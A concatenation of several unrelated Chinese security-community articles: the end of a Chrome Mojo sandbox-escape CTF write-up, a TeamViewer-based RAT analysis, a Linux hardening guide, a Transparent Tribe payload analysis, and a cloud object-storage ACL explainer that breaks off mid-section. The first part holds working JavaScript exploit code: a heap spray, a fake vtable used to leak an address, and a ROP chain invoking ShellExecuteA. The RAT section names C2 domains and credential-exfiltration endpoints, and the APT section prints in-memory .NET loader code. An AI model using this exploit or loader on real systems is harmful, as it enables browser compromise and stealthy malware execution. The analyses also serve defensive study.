cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
chrome!ovly_debug_event+0x1039e9b:
00007ff8`74e2c47b ff90c8000000 call qword ptr [rax+0C8h]
注意到此时`rcx`指向的就是`RenderFrameImpl`对象地址，我们想要泄露的就是这个值，我们看一下`RtlCaptureContext`的代码
.text:00000001800A0D10 pushfq
.text:00000001800A0D12 mov [rcx+78h], rax
.text:00000001800A0D16 mov [rcx+80h], rcx
.text:00000001800A0D1D mov [rcx+88h], rdx
.text:00000001800A0D24 mov [rcx+0B8h], r8
.text:00000001800A0D2B mov [rcx+0C0h], r9
...........................
一句`mov [rcx+80h],
rcx`将`rcx`的值保存到了`RenderFrameImpl`对象内部，然后我们使用`BlobRegistry`对象将该处的数据读取出来就可以得到地址了。官方WP的做法也是这个原理，只不过他使用的是`content::WebContentsImpl::GetWakeLockContext`这个函数。所以，我们可以将虚表指针伪造为IAT表地址，使得`call
qword ptr [rax+0C8h]`正好调用到`RtlCaptureContext`，然后我们将数据读出。
//伪造RenderFrameHost对象
const fakeRFH = new BigUint64Array(RenderFrameHost_SIZE / 8).fill(0x4141414141414141n);
//vtable
fakeRFH[0] = RtlCaptureContext_iat - 0xc8n;
//heap spray
for (var i=0;i<spray_count;i++) {
spray_arr.push(await allocate(fakeRFH.buffer));
}
//call RtlCaptureContext
await antNestPtr.store("")
//now leak the address
var rfh_addr = -1;
//var allocation;
for (var i=0;i<spray_count;i++) {
allocation = spray_arr[i];
var x = await allocation.readQword(0x80);
if (x != 0x4141414141414141n) {
rfh_addr = x;
break;
}
}
if (rfh_addr == -1) {
return false;
}
### ROP
现在，准备工作都做好了，那么就可以直接进行ROP了
//释放blob，重新heap spray
await allocation.free();
console.log("rfh_addr=0x" + rfh_addr.toString(16));
//0x00000001814fbfae : xchg rax, rsp ; ret
var xchg_rax_rsp = chrome_dll_base + 0x14fbfaen;
//0x00000001850caadf : mov rax, qword ptr [rcx + 0x10] ; add rcx, 0x10 ; call qword ptr [rax + 0x158]
var adjust_register = chrome_dll_base + 0x50caadfn;
//0x0000000184ebc82f : add rsp, 0x158 ; ret
var add_rsp_158 = chrome_dll_base + 0x4ebc82fn;
var shellExecuteA = chrome_dll_base + 0x3FA9C0Fn;
var pop_rsi = chrome_dll_base + 0x13b8n;
fakeRFH.fill(0n);
//fake
fakeRFH[0] = rfh_addr;
fakeRFH[0x10 / 0x8] = rfh_addr + 0x18n;
fakeRFH[0x18 / 0x8] = add_rsp_158;
fakeRFH[0xc8 / 0x8] = adjust_register;
fakeRFH[0x170 / 0x8] = xchg_rax_rsp;
//now rop
fakeRFH[0x178 / 0x8] = pop_rsi;
fakeRFH[0x180 / 0x8] = rfh_addr + 0x1c0n;
fakeRFH[0x188 / 0x8] = shellExecuteA;
fakeRFH[0x1b0 / 0x8] = 0n;
fakeRFH[0x1b8 / 0x8] = 0x3n;
//cmd
var cmd = "calc.exe\x00";
var cmd_buf = new Uint8Array(fakeRFH.buffer);
for (var i=0;i<cmd.length;i++) {
cmd_buf[0x1c0 + i] = cmd.charCodeAt(i);
}
//heap spray
for (var i=0;i<spray_count;i++) {
await allocate(fakeRFH.buffer);
}
//run
await antNestPtr.store("");
效果如下
## 0x04 感想
Chrome沙箱逃逸这一块做起来还是不错的，也没那么难。通过学习，收获了许多。
## 0x05 参考
[chromium 之 ipc (mojo)
消息机制](https://blog.csdn.net/dangwei_90/article/details/110407234)
[Mojo docs (go/mojo-docs)](https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md)
[SCTF2020-EasyMojo](https://github.com/SycloverSecurity/SCTF2020/tree/master/Pwn/EasyMojo)
[利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 浏览器沙箱](https://www.4hou.com/posts/vD2V)
[90分钟加时依然无解 | AntCTF x D^3CTF [EasyChromeFullChain]
Writeup](https://mp.weixin.qq.com/s/Gfo3GAoSyK50jFqOKCHKVA) | 社区文章 |
# 【技术分享】基于TeamViewer的瞄准小公司的远控木马分析
##### 译文声明
本文是翻译文章，文章来源：benkowlab.blogspot.ca
原文地址：<https://benkowlab.blogspot.ca/2017/11/rules-22-copypasta-is-made-to-ruin.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在对一些公共沙箱的样本研究过程中，我发现了一些不同寻常的请求：
[+] e2dbbc71f807717a49b74d19c155a0ae9cce7d6e74f24c63ea5d0ed81ddb24d6 GET -> rpc2.gdn/start/includes/tasks.php?hwid=71D7D653-460A-8BE7-264F6AF5
[+] e2dbbc71f807717a49b74d19c155a0ae9cce7d6e74f24c63ea5d0ed81ddb24d6 POST -> rpc2.gdn/start/inc.php/start/inc.php
[+] 0c4d34cd4a11960ff3f7d205a0196084700f8d6f171ea052f8c9563f9ddc2e2e GET -> rpc2.gdn/start/includes/tasks.php?hwid=49C78CBD-165E-D0CF-474D92B
[+] 0c4d34cd4a11960ff3f7d205a0196084700f8d6f171ea052f8c9563f9ddc2e2e POST -> rpc2.gdn/start/inc.php/start/inc.php
我们发现，这些应该是利用TeamViewer进行监视的活动。由此，我们就对这个基于TeamViewer的远控木马进行分析。
**控制端概述**
****
****首先，让我们从通常的控制端面板开始分析。它的界面十分简单，主页如下所示：
通过这个界面，控制者可以看到是否有人连接到被感染的机器，并且可以得知连接者是否有摄像头、麦克风，还能获得其系统的基本信息。在这个CNC中，共有125台被控制的主机。
另一个页面是一些简单的设置：
这些都是一些最简单的基础设置，但对于监控来说，已经足够了。接下来，我们进入到最有意思的部分，来深入分析一下它的代码。
**TeamViewer_Test_Pub**
我们此次分析的样本，源自一封钓鱼邮件中名为invoice.js的附件，其SHA-256值为e2dbbc71f807717a49b74d19c155a0ae9cce7d6e74f24c63ea5d0ed81ddb24d6。该JS脚本会通过store4caroption-support.info/KKK.exe（SHA值为0c4d34cd4a11960ff3f7d205a0196084700f8d6f171ea052f8c9563f9ddc2e2e）来在用户的电脑上安装木马。
该样本较为庞大，主要功能是在%APPDATA%对应的路径下的WebNet文件夹中，部署TeamViewer和恶意木马程序，上述文件夹和文件均为隐藏属性。
SensApi.dll（833ff902452e5fb10b39ef90c2f1ec96beb0d8d0486dc378eb07c10b3672276c）是一个目标主机控制器。我们使用PEBear进行了一些简单的静态分析，发现这个dll有4个导出函数：
* Entrypoint
* IsDestinationReachableA
* IsDestinationReachableW
* isNetworkAlive
我们又进一步发现，其中的IsDestinationReachableA、IsDestinationReachableW和isNetworkAlive只是作为sensApi.dll的封装。
在跳到入口点（EntryPoint）之前，我们先简单看一下字符串：
rpc2.gdn
num1.gdn
process call create "%s"
runas
wmic
TV started from Admin!!!
uac
This OS is not supported!!!
PoliciesSystem
CurrentVersion
Windows
Microsoft
Software
%s%s%s%s%s
EnableLUA
Off
High (Always Notify)
Medium (Default Notification)
Low (Default Notification)
N/A
error args
Request successfully!!!
cmdshow
cmd
COMSPEC
/C
run error
wait...
error
closed. exitcode: %d (%s)
tasklist
(x64)
(Win32)
%s PID:%d%s
plugin_start
tiff
plugin_del
%s%s.%s
admin
Yes
UAC LVL: %s
Elevated: %s
RunAsAdmin: %s
AdminGroup: %s
webcam
mic
device is missing
device is available
off
*.tiff
Command not found!!!
Error
%s%s%s
%06lX-%04lX-%04lX-%06lX
%s%s
HTTP/1.0
Windows Server 2016
Windows 10
Windows Server 2012 R2
Windows 8.1
Windows Server 2012
Windows 8
Windows Server 2008 R2
Windows 7
Windows Server 2008
Windows Vista
Windows XP x64
Windows Server 2003
Windows XP
Windows 2000
unknown
TeamViewer
/start/includes/tasks.php?hwid=
hwid=%s
Content-Type: application/x-www-form-urlencoded
start/includes/act_user.php
hwid=%s&tv_id=%s&tv_pass=%s
start/includes/pass_tv.php
uuid=%s&tv_id=%s&tv_pass=%s&winver=%s&username=%s&webcam=%sµ=%s
start/inc.php
start
.exe
open
IsDestinationReachableA
SensApi.dll
IsDestinationReachableW
IsNetworkAlive
SOFTWAREMicrosoftWindowsCurrentVersionRun
TeamViewer_Desktop.exe
Windows Core Services
%s%s
.log
.txt
.tmp
resource DLL
TeamViewer
TV_Marker
TVWidget
ATL:00BDE7D8
ATL:00BE38B8
这段代码非常冗长，并且会有一些经常出现的模式。我们发现，这段代码并不是处理TeamViewer的通常方法，因此我尝试先用Google搜索一下，看看诸如stackoverflow的一些函数是否是从其他地方拷贝而来的。通过搜索，我找到了一个奇怪的Github账户，其中的源代码与样本中的相匹配：
````
````
**`命令`**
**``**
**``**`我们在这个Github账户中更加深入的挖掘，与此同时也继续对这个木马样本进行分析。最终发现，木马控制器很有可能是一个fork，或者是一个从Github账户中更新源代码的工具。`
`我们发现了很多相似的函数：`
````
````
`该木马通过main.cpp中的RunCmd()函数来执行C2的命令。在两个版本中，有一些共同存在的命令：`
正如我们所看到的，只有很少的命令是从Github代码中复制而来。其中， **最大的改动是如何处理高权限的进程（ _Elevated_
Process）和用户账户控制（UAC）**，因为Github上面的代码已经非常过时。
**C2通信**
这个木马与C2之间的通信似乎与众不同，它是通过HTTP的方式，以纯文本进行通信，Github上面的版本则是使用了模糊的HTTP请求。
/includes/tasks.php - GET hwid=%s
/includes/act_user.php - POST hwid=%s&tv_id=%s&tv_pass=%s
/includes/inc.php - POST uuid=%s&tv_id=%s&tv_pass=%s&winver=%s&username=%s&webcam=%s&mic=%s
共有两个域名作为C2，分别是rpc2.gdn和num1.gdn。
值得注意的是，从TeamViewer部分和整体结构来看，我们所获得的样本似乎比Github代码的版本更高。这是一个非常基础的恶意软件，但它却非常有效，并且使用简单。在Github的自述文件中，提到了一个论坛，网址为<http://ander-pub.cc/forum/threads/isxodniki-skrytogo-teamviewer.73/>
，这个网站目前已经无法访问，因此我们也很好奇这是一个什么样的论坛。
**目标群体**
****
****从这个样本来看，攻击者的目标群体是中国、澳洲、美国和俄罗斯等国家的小型公司，我们发现有呼叫中心、会计事务所等。
以下是一个呼叫中心的示例：
**我们认为，这并不是是一个对特定国家进行攻击的木马，而是将目标锁定了在企业或者是金融等相关行业上。**
**总结**
****
****以上就是对该远控木马的分析，但我更加好奇的是这个恶意软件的背景如何，以及攻击者希望借助它实现的目的。该木马没有加壳，并且具有直观的界面，因此非常适合我们对其进行分析。
**恶意软件特征
**
****
****该木马的Yara规则如下：
/*
This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
*/
rule TeamViewerControlPanel : TeamViewerController
{
meta:
author = "@benkow_"
date = "2017-11-26"
reference = "https://benkowlab.blogspot.fr/2017/11/rules-22-copypasta-is-made-to-ruin.html"
strings:
$mz = {4D 5A}
$string1 = {54 00 68 00 69 00 73 00 20 00 4F 00 53 00 20 00 69 00 73 00 20 00 6E 00 6F 00 74 00 20 00 73 00 75 00 70 00 70 00 6F 00 72 00 74 00 65 00 64 00 21 00 21 00 21 00 00 00}
$string2 = {54 00 56 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 20 00 66 00 72 00 6F 00 6D 00 20 00 41 00 64 00 6D 00 69 00 6E 00 21 00 21 00 21 00 00 }
$string3 = {52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21 00 21 00 21 00 00 00}
$string4 = "TeamViewer"
condition:
($mz at 0 and all of ($string*) )
} | 社区文章 |
## Author：悬镜实验室
### 综述
在日常业务运维中，经常会受到权限的困扰，给多了就违背了最小权限原则，造成系统出现一些安全隐患，给少了业务又无法正常进行，下面我们来看看如何优雅的控制系统权限，保证系统安全。
### 0x01修改应用版本信息
修改应用版本信息虽然和权限无关，但对应用可以起到一定的保护作用，本节我们以tengine为例，来介绍如何修改应用的版本信息。其他apache等方法类似。
1、修改配置文件隐藏版本信息
配置文件nginx.conf中http段添加server_tokens off，但此方法只能隐藏版本号，服务信息还是可以看到的。
配置如下图所示。
2、要想修改的彻底，可以通过修改源码进行隐藏，解压缩tar包，修改$BASE_DIR/src/core/nginx.h文件。
修改前：
修改后：
编译过程这里不做介绍，编译后运行效果如下图所示，可以看到http头中服务和版本信息都已经修改。
### 0x02构建受限的shell环境
有时候我们想限制用户登录后的行为，让用户在一个受限的shell环境操作，这里我们介绍如何利用lshell来快速实现，lshell提供了一个针对每个用户可配置的限制性shell，配置文件非常的简单，可以很容易的严格限制用户可以访问哪些目录，可以使用哪些命令，同时可以对非法操作进行日志记录。
安装过程不做介绍，yum安装后配置文件路径为/etc/lshell.conf。
主要的配置项有logpath：配置日志路径、allowed：允许执行的命令、forbidden：禁止使用的字符或者命令、path：只允许访问的路径、env_vars：环境变量。
配置好后，修改你想要限制的用户shell，chsh -s /usr/bin/lshell
$USER_NAME，或者vipw直接修改。日志目录需要手工创建并赋权。
配置如上图所示，只允许使用的命令为：ls、echo、cd、ll，只允许访问的路径为/home/tomcat/、/usr、/etc、/tmp、/opt。
在受限shell下进行操作，可以看到不允许的操作被禁止。
日志记录
应用场景可以有很多，大家根据自己的实际业务环境灵活应用。
注意：前外不要把bash、sh等命令允许，一旦允许这些命令，该用户就可以逃逸出lshell的受限环境了。
### 0x03 linux ACL
linux默认的3种基本权限(rwx)以及3种特殊权限
(suid,sgid,sticky)在平常情况下做适当调整即可，但是如果出现多个组多个用户情况下对某些文件或目录做权限配置就会发现不够分配，所以为了解决此类情况linux内核出现了acl（访问控制列表）模块来进行分层管理。
使用acl前要安装acl和libacl，查看系统是否支持acl，Linux默认是支持的。
dumpe2fs -h /dev/sda1|grep acl（根据自己磁盘情况更改）
开启分区的acl权限：
临时开启：mount –o remount,acl 磁盘分区，永久开启的话需要修改/etc/fstab
场景：某文件只允许属主和其他用户A访问（只读），其余用户都不允许访问。
假设A用户名为tomcat，改文件只允许属主root和其他用户tomcat访问（只读） 设置acl前，tomcat用户读取操作被拒绝。
设置acl后，tomcat用户可以读取，user1用户被拒绝。
### 0x04 严格限制网络出入站规则
在攻击场景中，攻击者通常在获取到一定权限后，会反弹shell进行交互式操作，严格限制出入站规则，可以对此攻击行为进行有效阻断。
通常情况下，我们对入站访问策略会进行严格的限制，但出站策略经常被忽略，这就使得攻击者反弹shell成为可能，这里我们介绍使用iptables进行有效限制。
iptables功能非常强大，大家可以仔细研究一下，有很多好玩的东西。 | 社区文章 |
# 透明部落样本payload分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景信息
“透明部落”是一个南亚(可能是巴基斯坦)来源具有政府背景的APT组织，其长期针对周边国家和地区的军队和政府机构实施定向攻击，其和南亚“响尾蛇”APT组织属于两个相互
“敌对”的APT组织。
样本信息
由于没有找到docx的md5所以也无法获取到样本只能从宏样本释放的payload进行分析。
• 档案名称：TrayIcos.exe
• 文件类型：适用于MS Windows（GUI）Intel 80386 32位的PE32可执行文件
• 档案大小：2.4 MB（2519552位元组）
• MD5：18ACD5EBED316061F885F54F82F00017
• 签名：Microsoft Visual C ++ 8
## 静态分析
初步先使用ida打开观看下大体的内容，下图展示的大概就是获取资源然后进行解密等操作
下面这张图如果有经验的话可以发现这是利用了CLR进行内存中加载.NET程序，没有经验也没有关系后面也都会提到。
下面就是实现C++运行donet的代码
#include <windows.h>
#include <oleauto.h>
#include <mscoree.h>
#include <comdef.h>
#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>
#include <sys/stat.h>
#import "mscorlib.tlb" raw_interfaces_only
void rundotnet(void *code, size_t len) {
HRESULT hr;
ICorRuntimeHost *icrh;
IUnknownPtr iu;
mscorlib::_AppDomainPtr ad;
mscorlib::_AssemblyPtr as;
mscorlib::_MethodInfoPtr mi;
VARIANT v1, v2;
SAFEARRAY *sa;
SAFEARRAYBOUND sab;
printf("CoCreateInstance(ICorRuntimeHost).n");
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
hr = CoCreateInstance(
CLSID_CorRuntimeHost,
NULL,
CLSCTX_ALL,
IID_ICorRuntimeHost,
(LPVOID*)&icrh);
if(FAILED(hr)) return;
printf("ICorRuntimeHost::Start()n");
hr = icrh->Start();
if(SUCCEEDED(hr)) {
printf("ICorRuntimeHost::GetDefaultDomain()n");
hr = icrh->GetDefaultDomain(&iu);
if(SUCCEEDED(hr)) {
printf("IUnknown::QueryInterface()n");
hr = iu->QueryInterface(IID_PPV_ARGS(&ad));
if(SUCCEEDED(hr)) {
sab.lLbound = 0;
sab.cElements = len;
printf("SafeArrayCreate()n");
sa = SafeArrayCreate(VT_UI1, 1, &sab);
if(sa != NULL) {
CopyMemory(sa->pvData, code, len);
printf("AppDomain::Load_3()n");
hr = ad->Load_3(sa, &as);
if(SUCCEEDED(hr)) {
printf("Assembly::get_EntryPoint()n");
hr = as->get_EntryPoint(&mi);
if(SUCCEEDED(hr)) {
v1.vt = VT_NULL;
v1.plVal = NULL;
printf("MethodInfo::Invoke_3()n");
hr = mi->Invoke_3(v1, NULL, &v2);
mi->Release();
}
as->Release();
}
SafeArrayDestroy(sa);
}
ad->Release();
}
iu->Release();
}
icrh->Stop();
}
icrh->Release();
}
int main(int argc, char *argv[])
{
void *mem;
struct stat fs;
FILE *fd;
if(argc != 2) {
printf("usage: rundotnet <.NET assembly>n");
return 0;
}
// 1. get the size of file
stat(argv[1], &fs);
if(fs.st_size == 0) {
printf("file is empty.n");
return 0;
}
// 2. try open assembly
fd = fopen(argv[1], "rb");
if(fd == NULL) {
printf("unable to open "%s".n", argv[1]);
return 0;
}
// 3. allocate memory
mem = malloc(fs.st_size);
if(mem != NULL) {
// 4. read file into memory
fread(mem, 1, fs.st_size, fd);
// 5. run the program from memory
rundotnet(mem, fs.st_size);
// 6. free memory
free(mem);
}
// 7. close assembly
fclose(fd);
return 0;
}
## 动态调试
有了大体的认识之后我们可以开始用OD调试看看里面具体的细节，首先我们可以来到程序的入口点，不是VC的入口点，而是进入main函数里面的代码。发现调用了OleInitialize这个函数，这个函数的作用是初始化COM库。所以后面肯定使用到了COM库。
下面是这种操作mov了一大堆的指令然后再调用了一个call
进入这个call里面观看，这个函数就是取到了之前mov的数组进行解密了
那么我们直接来到return 看看返回值，可以很明显发现这解密出了字符串
所以我把这个函数命名为DecString
下面是获取环境变量`Cor_Enable_Profiling`的值如果和0x41B2A0做比较如果不等于则会继续走下面，等于则跳转走另一分支,另一分支就是直接结束程序。所以我们走遍历模块的。
下面的api就是在创建快照
遍历模块和解密字符串
解密出来mscorjit.dll，这个dll是donet的，所以遍历模块应该是为了找到这个dll
这一段汇编就是strcmp，不熟悉的可以多看看
如果找到一样的则关闭句柄，并且return
然后下面又在找这个dll clrjit.dll
下面的代码就是一直循环在找那两个dll
当最后没有找到的话就会来到后面的解析资源的操作
遍历模块没看懂的话可以看看MSDN遍历模块
这里是在找资源了
然后先malloc一个资源大小 然后又new了一个0x40022的大小
很明显下面是个if else 就是下面这样的汇编格式，到这里内存空间就申请完了，下面就是拷贝资源了吧
cmp
jxx
ELSE_BEGIN:
…
jmp ELSE_END
….
ELSE_END：
这个函数主要做的就是把资源拷贝到new出来的空间
这个是按照1024个字节拷贝到malloc这个内存中
这里在取模sizeofRes也就是拷贝不足1024个字节的资源到malloc申请的空间中
释放资源后，malloc了一个空间，这个空间就是放解密后的资源数据
看看下面解密函数栈，第一个是刚刚malloc的空间，也就是解密数据要放的空间。第二个是之前malloc的大小。第三个是之前mallco空间的地址(加密的数据)，最后一个是资源的大小。
解密后的资源不难看出有一个PE
再后面也没啥看的大概就是准备donet的环境，把该有的dll加载起来然后用C++调用这个PE文件，有兴趣的可以看看
现在我把那个PE给dump出来看看
使用PE解析工具看看发现资源里面还藏了个PE
既然这样这个dll就没啥必要看了大概功能就是释放执行里面的PE还是个Loader，用dnspy把资源保存出来
一看就是被混淆了的使用工具de4dot.exe去除试试
去完混淆后基本能很好的看懂了
这里就是远控的的代码地方了 donet的感兴趣的自己可以看看还是比较简单的
VT查了下最里层的Payload还没有被查
## 样本来源
[cyberstanc](https://cyberstanc.com/blog/a-look-into-apt36-transparent-tribe/) | 社区文章 |
**作者：云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/ncWGrMsIAvh9HEK1QC5IGQ>**
## 前言
近些年来，越来越多的IT产业正在向云原生的开发和部署模式转变，这些模式的转变也带来了一些全新的安全挑战。
对象存储作为云原生的一项重要功能，同样面临着一些列安全挑战。但在对象存储所导致的安全问题中，绝大部分是由于用户使用此功能时错误的配置导致的。据统计，由于缺乏经验或人为错误导致的存储桶错误配置所造成的安全问题占所有云安全漏洞的16%。
以2017美国国防部承包商数据泄露为例：此次数据泄露事件是由于Booz Allen
Hamilton公司（提供情报与防御顾问服务）在使用亚马逊S3服务器存储政府的敏感数据时，使用了错误的配置，从而导致了政府保密信息可被公开访问。经安全研究人员发现，公开访问的S3存储桶中包含47个文件和文件夹，其中三个文件可供下载，其中包含了大量“绝密”(TOP
SECRET)以及“外籍禁阅”(NOFORN)文件。
与此相似的案例有很多，例如Verizon数据泄露事件、道琼斯客户数据泄露事件。如何正确的使用以及配置存储桶，成为了云上安全的一个重要环节。
存储桶的访问控制包含多个级别，而每个级别都有其独特的错误配置风险。在本文中，我们将深入探讨什么是存储桶、什么是存储桶ACL、什么是存储桶Policy以及平台是如何处理访问权限，并对错误配置存储桶权限导致的安全问题进行阐述。通过本文的阅读，可以很好的帮助理解存储桶的鉴权方式以及鉴权流程，避免在开发过程中产生由存储桶错误配置导致的安全问题。
首先，我们来看简单的对对象存储的概念进行了解。
## 对象存储
对象存储是一种存储海量文件的分布式存储服务，用户可通过网络随时存储和查看数据。对象存储使所有用户都能使用具备高扩展性、低成本、可靠和安全的数据存储服务。
对象存储可以通过控制台、API、SDK 和工具等多样化方式简单、快速地接入，实现了海量数据存储和管理。通过对象存储可以进行任意格式文件的上传、下载和管理。
在了解对象存储之后，我们来梳理下ACL、Policy、存储桶的鉴权方式以及鉴权流程以及使用过程中容易产生的配置错误。
## 存储桶访问权限（ACL）
访问控制列表（ACL）使用 XML 语言描述，是与资源关联的一个指定被授权者和授予权限的列表，每个存储桶和对象都有与之关联的
ACL，支持向匿名用户或其他主账号授予基本的读写权限。ACL属性见下表：
_表格 1 ACL属性表_
从控制台上来看，存储桶访问权限分为公共权限与用户权限，见下图：
_图 1存储桶访问权限配置项_
从上图的选项来看，公共权限和用户权限配置共同组成了存储桶访问权限。公共权限包括私有读写、公有读私有写和公有读写这几个选项可以选择，且为单选：
_图 2公共权限选项_
用户权限可以通过添加用户进行配置,通过填写账号ID并为其配置数据读取、数据写入、权限读取、权限写入以及完全控制五个选项。
_图 3用户权限选项_
除完全控制选项，其他几个选项都可以灵活的搭配；而勾选完全控制选项后，则会将前四个选项一同勾选上。
控制台中存储桶公共权限以及用户权限可配置项如下：
存储桶访问权限 | |
---|---|---
| 公共权限 | 用户权限
私有读写 | √ |
公有读私有写 | √ |
公有读写 | √ |
数据读取 | | √
数据写入 | | √
权限读取 | | √
权限写入 | | √
完全控制 | | √
_表格 2存储桶访问权限_
但是公共权限与用户权限有什么区别与关联呢？二者又是如何作用于访问控制列表（ACL）呢？
这些问题，单从控制台上功能上来看是并不能完全理解的，我们需要通过修改控制台中不同的公共权限与用户权限组合，对比ACL中内容的变化来分析控制台上这些配置项的真实作用。
首先我们通过在控制台中勾选的选项来测试一下公共权限是如何作用于ACL的。
## 公共权限
公共权限包括：私有读写、公有读私有写和公有读写，我们将依次测试一下在控制台中勾选后ACL中实际的配置情况。
### 私有读写
只有该存储桶的创建者及有授权的账号才对该存储桶中的对象有读写权限，其他任何人对该存储桶中的对象都没有读写权限。存储桶访问权限默认为私有读写。
我们将公共权限设置为私有读写，见下图：
_图 4设置存储桶私有读写访问权限_
通过访问API接口，获取此时存储桶ACL规则：
如上所示，ACL 描述了存储桶拥有者(Owner)为（用户 UIN：10001xxx）,且此用户拥有存储桶的完全控制权限（FULL_CONTROL）。
值得注意的是，此处XML中权限配置，并不是因为我们勾选了公共权限配置中的私有读写而来，而是控制台中用户权限里默认配置中当前账号的权限策略，见下图红框处：
_图 5默认配置的当前账号权限策略_
因此，在公共权限里勾选私有读写，相当于在ACL中不额外写入任何配置内容。
### 公有读私有写
任何人（包括匿名访问者）都对该存储桶中的对象有读权限，但只有存储桶创建者及有授权的账号才对该存储桶中的对象有写权限。
我们将公共权限设置为公有读私有写，见下图：
_图 6配置存储桶公有读私有写访问权限_
通过访问API接口，获取此时存储桶访问权限（ACL）
从XML内容可见，通过勾选公有读私有写，ACL中新增了如下配置条目：
此条配置授予了AllUsers用户组的READ的权限，按权限分类来说，属于“匿名用户公有读”权限，示意图如下：
_图 7公有读私有写权限配置示意图_
### 公有读写
任何人（包括匿名访问者）都对该存储桶中的对象有读权限和写权限。
_图 8配置存储桶公有读写访问权限_
通过访问API接口，获取此时存储桶ACL。
如上所示，通过勾选公有读写，ACL中新增了如下配置条目。
与上文的公有读私有写权限相比，新增了AllUsers用户组WRITE的权限，即“匿名用户公有读写”权限，示意图如下：
_图9 公有读写权限配置示意图_
从上述实验结果来看：公共权限配置的选项“私有读写“、”公有读私有写“和公有读写”本质上是在ACL中添加AllUsers用户组的READ与WRITE权限。公共权限配置选项的总结如下：
* 私有读写：不在ACL中添加任何额外的权限配置条目
* 公有读私有写：在ACL中添加AllUsers用户组READ权限项
* 公有读写：在ACL中添加AllUsers用户组READ权限项、AllUsers用户组WRITE权限项
在分析完公共权限之后，我们来分析一下用户权限。
## 用户权限
用户权限和公共权限有什么区别呢？其实都是修改ACL策略，没有本质的区别，只是公共权限在勾选时，生成ACL中ALLUSers的三个权限，而通过用户权限配置的，在ACL中精准到用户，并且权限策略也扩充为5个可选项。
_图 10用户权限配置可选项_
我们先保持公共权限的默认设置——私有读写，并在控制台编辑用户权限，添加一个ID为123456的账号。
### 数据读取-数据写入
我们为此账号设置数据读取、数据写入的权限，见下图：
_图 11配置用户数据读取写入权限_
通过访问API接口，获取此时存储桶ACL。
从XML内容可见，在控制台新增一个拥有数据读取、数据写入权限的账号后， ACL中新增了如下配置：
ACL中增加了一个uin为123456的用户的READ与WRITE权限，示意图如下：
_图 12数据读取写入权限配置示意图_
### 权限读取-权限写入
接下来我们保持公共权限为默认的私有读写不变，并在用户权限处添加一个ID为123456的账号，我们为此账号设置权限读取、权限写入的权限，见下图：
_图 13配置用户权限读取写入权限_
通过访问API接口，获取此时存储桶ACL。
如上所示，在控制台新增一个拥有权限读取、权限写入的账号后， ACL中新增了如下配置：
ACL中增加了一个uin为123456的用户的READ_ACP与WRITE_ACP权限,此时123456用户可以对ACL进行读取以及更新操作，示意图如下：
_图 14权限读取写入权限配置示意图_
### 公有读写-数据读取-数据写入
在这环节中，我们将实验一下公共权限与用户权限的关系，我们将公共权限设置为公有读写，并在用户权限处添加一个ID为123456的账号，我们为此账号设置权限读取、权限写入的权限，见下图：
_图 15配置公有读写-数据读写权限_
通过访问API接口，获取此时存储桶ACL
通过对比公共权限章节中公有读写与用户权限章节中数据读取-数据写入部分的内容可以发现,
在控制台中配置的公共权限与用户权限是各自作用于ACL中，在ACL中并不互相影响，配置的公有读写将会在ACL中添加一个AllUsers用户组的WRITE与READ权限，而用户权限中添加的123456账号的数据读取、数据写入将在
ACL中加入了一个123456账号的READ与WRITE权限。
但是细心的读者可能会发现一个有意思的问题，在配置用户权限时，ACL中默认的Owner的FULL_CONTROL权限不见了
### 消失的Owner权限
对比一下公共权限章节中私有读写部分的ACL，我们发现了一个问题，见下图：
_图 16 公有权限相同、用户权限不同时ACL差异性_
虽然我们仅仅是在用户权限处增加了一个新用户，并没有删除也没有办法删除控制台中默认的主账号的完全控制权，但是ACL中默认的拥有完全控制权的主账号条目不见了，见上图红框处。
这样会不会导致主账号失去了存储桶的控制权呢？经过测试发现，主账号依然拥有存储桶的完全控制权，这是问什么呢？
通过查阅官方文档，我们发现了答案：
资源的拥有者，即Owner始终对资源具备完全控制权，无论ACL中是否存在此项。
## 存储桶策略（Bucket Policy）
在分析完ACL之后，我们来看看Policy。存储桶策略（Bucket Policy）使用 JSON 语言描述，支持向匿名身份或任何 CAM
账户授予对存储桶、存储桶操作、对象或对象操作的权限，在对象存储中存储桶策略可以用于管理该存储桶内的几乎所有操作。Policy属性见下图：
_表格 3 Bucket Policy属性表_
我们可以通过在控制台中添加策略的方式来设置Policy权限。
_图 17通过控制台添加Policy_
我们添加一个新策略，该策略允许所有用户对我们的存储桶进行所有操作，见下图：
_图 18添加新策略_
通过访问API接口，获取权限策略。
可以发现，Policy中以共有四个主要的属性：Action、Effect、Principal、Resource，分别对应了控制台中填写的操作、效力、用户、资源路径。与ACL仅可以配置的用户与权限选项相比，控制的颗粒更细。
接下来，我们添加一个允许账号ID为123456的账号对cos-aclxxx/policy_test路径的读操作。
_图 19 配置账号指定资源操作权限_
通过访问API接口，获取权限策略。
在这个Policy中，我们可以看到更细腻的Action与Resource配置。
## 对象访问权限
在对象存储中，每一个对象同样存在着可配置的访问权限，默认继承存储桶的ACL。
_图 20对象访问权限控制台界面_
我们将此对象设置为公有读私有写权限，见下图：
_图 21配置对象公有读私有写权限_
通过查询GetObjectAcl API接口，获取其ACL。
从ACL可见，与存储桶的ACL配置项完全一样，只不过这里的ACL作用于目标对象而存储桶ACL作用于存储桶。
但是对象存储是如何通过ACL与Policy共同协调控制存储桶权限的呢？
我们接下来看一下对象存储的访问策略评估流程。
## 访问策略评估机制
在开始介绍对象存储访问策略评估流程之前，我们先介绍一下几个流程中涉及到的重要概念：显示拒绝、显示允许、隐式拒绝以及三者之间的联系：
**01显式拒绝**
在用户策略、用户组策略、存储桶 Policy 中针对特定用户有明确的 Deny 策略。
**02显式允许**
